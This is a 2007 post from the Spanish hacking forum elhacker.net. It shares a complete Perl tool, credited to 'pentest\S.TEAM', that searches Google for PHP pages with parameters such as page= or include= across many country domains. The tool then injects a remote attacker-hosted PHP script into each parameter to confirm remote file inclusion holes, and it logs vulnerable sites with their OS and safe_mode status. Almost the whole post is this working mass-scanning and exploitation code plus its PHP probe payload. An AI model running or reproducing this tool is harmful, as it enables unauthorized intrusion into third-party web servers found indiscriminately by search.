elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  google-php-include-bugs searcher v 0.8
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: google-php-include-bugs searcher v 0.8  (Leído 2,869 veces)
hackpsycho


Desconectado Desconectado

Mensajes: 391



Ver Perfil
google-php-include-bugs searcher v 0.8
« en: 21 Noviembre 2007, 00:52 am »

google-php-include-bugs searcher v 0.9
(c)oded by pentest\S.TEAM

Código:
#! /usr/bin/perl

# ================================================================ #
#          google-php-include-bugs searcher v 0.9                  #
#                          (c)oded by pentest\S.TEAM                  #
#                          http://security-shell.com#
#                                                                  #
#                 ATTENTION. THIS SCRIPT IS PRIVATE.               #
#              ONLY FOR S.TEAM AND FRIENDS. NOT FOR SALE.            #
#                                                                  #
#  Usage: perl script.pl --log=<log-file> --url=<test-script-url>  #
#  Test script:                                                    #
#  <?php                                                           #
#  error_reporting(0);                                             #
#  $s = md5("STNC");                                               #
#  $code = eregi("windows", php_uname())+                          #
#  2*eregi("apache", getenv("SERVER_SOFTWARE"))+                   #
#  4*ini_get('safe_mode'); echo $s."[$code]".$s;                   #
#  ?>                                                              #
# ================================================================ #

use IO::Socket;

@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
            "inc", "incl", "include", "read", "write", "data", "code", "fname",
     "filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
     "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
     "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
     "conteudo");

@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
         "info", "name", "aero", "biz", "edu", "ws", "in",
  "cn", "us", "be", "it", "cc", "tv", "ru", "su",
  "jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
  "be", "fi", "gov");

@ftypes = ("php", "php3");

$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

for($i = 0; $i < @ARGV; $i++)
{
 if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
 elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}

if(!($script && $log)){ usage(); exit; }

foreach $inc(@inc_bugs)
{
 foreach $zone(@zones)
 {
   foreach $ftype(@ftypes)
   {
     $request = "filetype:$ftype site:$zone inurl:$inc=";     
     print "\n[$request]\n";

     $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
     @dn = ();

     for($i = 0;$i < 10; $i++)
     {
       @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
        "00&q=$request")  =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
       foreach $url (@temp)
{
  if($url !~ /($inc=[^\&]+)/i) { next; }
  $left = $`; $right = $';
  if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
  if($url =~ /google\.com/i){ next; }

  ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
  if($domain =~ /^www\.(.+)$/) { $domain = $1; }
  $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
  push @dn, $domain;

  $print = "$left$inc=[INCLUDE]$right";
  if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
  {
    $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
    $count++;
    print "[$count] $s";

    open LOG, ">>$log";
    print LOG $s;
    close LOG;
  }
  else {
    print "$print - no bugs\n";
  }
}
     }
   }
 }
}

sub timeout() { close $sock; }

sub get()
{
 local $request = $_[0];
 local $port = 80;
 local $data = "";

 if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
 {
   if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

   $sock = IO::Socket::INET->new(
     PeerAddr => $server,
     PeerPort => $port,
     Proto => 'tcp',
     Type => SOCK_STREAM,
     TimeOut => $timeout
   ) or return 0; # connection failed

   print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

   $SIG{ALRM} = \&timeout; alarm 10;
   while(<$sock>){ $data .= $_; }
   alarm 0; close $sock;
 }

 return $data;
}

sub usage()
{

print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
Test script:
<?php
error_reporting(0);
\$s = md5("STNC");
\$code = eregi("windows", php_uname())+
2*eregi("apache", getenv("SERVER_SOFTWARE"))+
4*ini_get('safe_mode'); echo \$s."[\$code]".\$s;
?>
);

}

--url=<test-script-url>
En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
2 Google Bugs XSS&Redirect with using bit.ly (video)
Nivel Web
sony1a2 8 5,679 Último mensaje 4 Enero 2011, 22:26 pm
por berz3k
[Python] Elephant BS [Bug Searcher] V 1.0 Beta
Scripting
isseu 4 2,320 Último mensaje 21 Septiembre 2011, 01:25 am
por S3kh
related searcher
Seguridad
alejodel 1 1,968 Último mensaje 29 Abril 2013, 19:24 pm
por el-brujo
Bugs hunter de Google
Hacking
Panic0 0 1,895 Último mensaje 21 Octubre 2021, 18:48 pm
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines